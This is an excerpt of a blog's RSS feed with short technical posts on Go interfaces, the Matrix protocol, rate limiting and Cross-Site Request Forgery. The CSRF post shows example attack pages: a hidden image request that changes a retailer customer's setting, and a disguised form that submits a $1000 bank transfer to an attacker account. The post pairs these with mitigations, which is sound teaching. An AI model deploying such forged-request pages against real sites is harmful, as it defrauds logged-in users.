&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;interfaces&#34;&gt;Interfaces&lt;/h3&gt;
&lt;p&gt;Interface: a set of method signatures.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;type&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Abser&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;interface&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;Abs&lt;/span&gt;() &lt;span style=&#34;color:#66d9ef&#34;&gt;float64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;PrintAbs&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;a&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Abser&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;fmt&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;a&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Abs&lt;/span&gt;())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// PrintAbs(MyFloat(-12))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Implementation is &lt;em&gt;implicit&lt;/em&gt;, &lt;code&gt;MyFloat&lt;/code&gt; is an &lt;code&gt;Abser&lt;/code&gt;, even if I defined the interface later (even in an other package).&lt;/p&gt;
&lt;p&gt;Special &lt;em&gt;empty interface&lt;/em&gt;: &lt;code&gt;interface{}&lt;/code&gt;- all types implement it, ~&lt;code&gt;Object&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Type assertion:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;PrintAbs&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;a&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Abser&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;ok&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;a&lt;/span&gt;.(&lt;span style=&#34;color:#a6e22e&#34;&gt;MyInt&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ok&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#75715e&#34;&gt;// handle integer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;f&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;ok&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;a&lt;/span&gt;.(&lt;span style=&#34;color:#a6e22e&#34;&gt;MyFloat&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ok&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#75715e&#34;&gt;// handle float&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// OR&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;switch&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;v&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;.(&lt;span style=&#34;color:#66d9ef&#34;&gt;type&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;MyInt&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#75715e&#34;&gt;// handle MyInt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;MyFloat&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#75715e&#34;&gt;// handle MyFloat&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;default&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#75715e&#34;&gt;// whatever&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Interface example: &lt;code&gt;fmt.Stringer&lt;/code&gt;-&amp;gt; anything w/ a&lt;code&gt;String()&lt;/code&gt;method&lt;/p&gt;
&lt;p&gt;&lt;code&gt;error&lt;/code&gt; is an interface too:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;type&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;error&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;interface&lt;/span&gt; { &lt;span style=&#34;color:#75715e&#34;&gt;// this is built in&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;Error&lt;/span&gt;() &lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;type&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;MyError&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;When&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;time&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Time&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;What&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;func&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;e&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;MyError&lt;/span&gt;) &lt;span style=&#34;color:#a6e22e&#34;&gt;Error&lt;/span&gt;() &lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;fmt&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Sprintf&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;[%v] %s&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;e&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;When&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;e&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;What&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content>
    </item>
    
    <item>
      <title>Matrix</title>
      <link>https://horak.hu/posts/matrix/</link>
      <pubDate>Fri, 25 Mar 2022 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/matrix/</guid>
      <description>&lt;ul&gt;
&lt;li&gt;2019, &lt;a href=&#34;https://matrix.org/&#34;&gt;https://matrix.org/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;not the movie, but the &amp;ldquo;matrixed communication&amp;rdquo;&lt;/li&gt;
&lt;li&gt;open standard: &lt;a href=&#34;https://matrix.org/docs/spec/&#34;&gt;spec&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;non-profit Matrix.org Foundation&lt;/li&gt;
&lt;li&gt;decentralized&lt;/li&gt;
&lt;li&gt;end-to-end encryption
&lt;ul&gt;
&lt;li&gt;olm, megolm&lt;/li&gt;
&lt;li&gt;based on Signal&amp;rsquo;s &lt;a href=&#34;https://signal.org/docs/specifications/doubleratchet/&#34;&gt;double ratchet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;extended to support encrypted rooms&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;messaging (IM, rooms, bots, even IoT devices)&lt;/li&gt;
&lt;li&gt;signaling (for WebRTC, VoiP, video calls)&lt;/li&gt;
&lt;li&gt;bridging to other IM networks (XMPP, Slack, IRC, Discord, Facebook, &amp;hellip;)&lt;/li&gt;
&lt;li&gt;HTTPS+JSON based by default, but a much lighter UDP based demo was already created for ~100bps (!) networks&lt;/li&gt;
&lt;/ul&gt;</description>
      <content>&lt;ul&gt;
&lt;li&gt;2019, &lt;a href=&#34;https://matrix.org/&#34;&gt;https://matrix.org/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;not the movie, but the &amp;ldquo;matrixed communication&amp;rdquo;&lt;/li&gt;
&lt;li&gt;open standard: &lt;a href=&#34;https://matrix.org/docs/spec/&#34;&gt;spec&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;non-profit Matrix.org Foundation&lt;/li&gt;
&lt;li&gt;decentralized&lt;/li&gt;
&lt;li&gt;end-to-end encryption
&lt;ul&gt;
&lt;li&gt;olm, megolm&lt;/li&gt;
&lt;li&gt;based on Signal&amp;rsquo;s &lt;a href=&#34;https://signal.org/docs/specifications/doubleratchet/&#34;&gt;double ratchet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;extended to support encrypted rooms&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;messaging (IM, rooms, bots, even IoT devices)&lt;/li&gt;
&lt;li&gt;signaling (for WebRTC, VoiP, video calls)&lt;/li&gt;
&lt;li&gt;bridging to other IM networks (XMPP, Slack, IRC, Discord, Facebook, &amp;hellip;)&lt;/li&gt;
&lt;li&gt;HTTPS+JSON based by default, but a much lighter UDP based demo was already created for ~100bps (!) networks&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;how-does-it-work&#34;&gt;How does it work?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&amp;ldquo;decentralized message store&amp;rdquo;&lt;/li&gt;
&lt;li&gt;messages are replicated over all participating servers&lt;/li&gt;
&lt;li&gt;no single point control or failure&lt;/li&gt;
&lt;li&gt;more like e-mail than other IM protocols&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;who-uses-it&#34;&gt;Who uses it?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;lot of clients (web, desktop, mobile, even console), client SDKs&lt;/li&gt;
&lt;li&gt;lot of bridges to other IM networks&lt;/li&gt;
&lt;li&gt;more than one server implementations&lt;/li&gt;
&lt;li&gt;free servers&lt;/li&gt;
&lt;li&gt;easy to self-host, easy to join the federation&lt;/li&gt;
&lt;li&gt;some numbers (matrix.org homeserver):
&lt;ul&gt;
&lt;li&gt;10M+ accounts&lt;/li&gt;
&lt;li&gt;2.5M+ messages/day&lt;/li&gt;
&lt;li&gt;2.1M+ rooms&lt;/li&gt;
&lt;li&gt;20k+ federated servers&lt;/li&gt;
&lt;li&gt;400+ projects, 70+ companies building on Matrix&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&amp;ldquo;big&amp;rdquo; users
&lt;ul&gt;
&lt;li&gt;French Goverment&lt;/li&gt;
&lt;li&gt;German Ministry of Defense&lt;/li&gt;
&lt;li&gt;Mozilla&lt;/li&gt;
&lt;li&gt;Gitter (chat for GitLab projects)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</content>
    </item>
    
    <item>
      <title>Rate limiting</title>
      <link>https://horak.hu/posts/rate_limiting/</link>
      <pubDate>Tue, 15 Feb 2022 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/rate_limiting/</guid>
      <description>&lt;h2 id=&#34;why&#34;&gt;Why?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;DoS - Denial of Service attacks&lt;/li&gt;
&lt;li&gt;Brute Force attacks
&lt;ul&gt;
&lt;li&gt;collect customer email addresses (signup)&lt;/li&gt;
&lt;li&gt;reveal username/password pairs (login)&lt;/li&gt;
&lt;li&gt;send emails (contact us, gift card)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</description>
      <content>&lt;h2 id=&#34;why&#34;&gt;Why?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;DoS - Denial of Service attacks&lt;/li&gt;
&lt;li&gt;Brute Force attacks
&lt;ul&gt;
&lt;li&gt;collect customer email addresses (signup)&lt;/li&gt;
&lt;li&gt;reveal username/password pairs (login)&lt;/li&gt;
&lt;li&gt;send emails (contact us, gift card)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;how&#34;&gt;How?&lt;/h2&gt;
&lt;p&gt;Really hard to do it properly.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Session based: creating a new session is easy&lt;/li&gt;
&lt;li&gt;IP based
&lt;ul&gt;
&lt;li&gt;easy to get lot of IP addresses&lt;/li&gt;
&lt;li&gt;might restrict real users behind NAT/IPv6 gateway&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Captcha (classic) - bad UX&lt;/li&gt;
&lt;li&gt;slow down API response artificially - can lead to &amp;ldquo;self-DoS&amp;rdquo;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;knocking&#34;&gt;Knocking&lt;/h2&gt;
&lt;p&gt;Before calling a protected API, the client should &lt;em&gt;knock&lt;/em&gt; calling a special knocking API with the target endpoint. The knocking API returns a waiting time after the target API will be available for one call.&lt;/p&gt;
&lt;p&gt;Using some kind of classifier (Google reCAPTCHA v3, something based on user history, &amp;hellip;) the waiting time can be different for each user.&lt;/p&gt;
&lt;p&gt;Calling a protected API requires the client to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;create and maintain a session (bots usually don&amp;rsquo;t do this)&lt;/li&gt;
&lt;li&gt;call the knocking API&lt;/li&gt;
&lt;li&gt;process the response, wait for the waiting time&lt;/li&gt;
&lt;li&gt;call the actual API&lt;/li&gt;
&lt;li&gt;(repeat the whole process)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Rejecting an API call (before the end of the waiting time or without calling the knocking API) is quick and easy, without using much backend resources. (HTTP 429 - Too Many Requests)&lt;/p&gt;</content>
    </item>
    
    <item>
      <title>Cross-Site Request Forgery</title>
      <link>https://horak.hu/posts/csrf/</link>
      <pubDate>Mon, 07 Feb 2022 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/csrf/</guid>
      <description>&lt;p&gt;CSRF is an attack that forces an end user to execute unwanted actions on a web application in which they&amp;rsquo;re currently authenticated.&lt;/p&gt;</description>
      <content>&lt;p&gt;CSRF is an attack that forces an end user to execute unwanted actions on a web application in which they&amp;rsquo;re currently authenticated.&lt;/p&gt;
&lt;h3 id=&#34;examples&#34;&gt;Examples&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;GET&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In FD, a &amp;ldquo;malcious&amp;rdquo; website can change the customers express status. This is at most annoying, clearly visible for the customer, and does not happen during a typical FD session, but if the request could change something import, it could be dangerous.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;!-- https://whatever.com/express.html --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;h1&lt;/span&gt;&amp;gt;not at all malcious site&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;h1&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;img&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;src&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://www.freshdirect.com/index.jsp?expressContext=true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;style&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;width: 1px; height: 1px;&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Upon visiting this website, the URL in the &lt;code&gt;img&lt;/code&gt; tag will be called, with the proper cookies, and the customer will have express context enabled.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;GET&lt;/em&gt; requests in general should not change any important state at the backend side.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;POST&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Imagine an internet banking website, that has a classic HTML &lt;code&gt;form&lt;/code&gt; for money transfer. Without CSRF protection, an attacker could create a site from where they can POST data to the banking site:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;!-- https://jedi.name/ --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;h1&lt;/span&gt;&amp;gt;enter your favourite color, and I&amp;#39;ll tell you your jedi name!&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;h1&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;form&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;action&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://nocsrf-banking.com/transfer&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;input&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;color&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;placeholder&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;favourite color&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;value&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;input&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;hidden&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;recipient&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;value&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;[haxoraccountnumber]&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;input&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;hidden&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;amount&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;value&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;$1000&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;button&lt;/span&gt;&amp;gt;SHOW ME MY JEDI NAME!&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;button&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;form&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If the victim used the banking site recently and their session is still live, entering anything into that form and submitting it would transfer $1000 to the attacker.&lt;/p&gt;
&lt;h2 id=&#34;mitigation&#34;&gt;Mitigation&lt;/h2&gt;
&lt;h4 id=&#34;csrf-tokens&#34;&gt;CSRF tokens&lt;/h4&gt;
&lt;p&gt;Tokens (generated once per session or for each request) are generated at the backend, sent to the frontend, and should be included for all state changing requests. The backend should deny the request if the token validation fails.&lt;/p&gt;
&lt;p&gt;CSRF tokens should be:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;unique per session (or request)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;secret&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;unpredictable (random)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;They should not be transmitted from the frontend via &lt;code&gt;cookies&lt;/code&gt;, but in a hidden form field (classic forms) or in a custom HTTP header (JS).&lt;/p&gt;
&lt;h4 id=&#34;samesite-cookie-attribute&#34;&gt;SameSite cookie attribute&lt;/h4&gt;
&lt;p&gt;If the session cookie is protected by the &lt;code&gt;SameSite&lt;/code&gt; attribute (using &lt;code&gt;Strict&lt;/code&gt; or &lt;code&gt;Lax&lt;/code&gt; value), the cookie will not be included in cross-site requests (or only for &lt;em&gt;safe&lt;/em&gt; requests in case of &lt;code&gt;Lax&lt;/code&gt; - safe requests should not modify state, like &lt;code&gt;GET&lt;/code&gt; or&lt;code&gt;HEAD&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;This attribute should not be the only protection, but an extra layer.&lt;/p&gt;
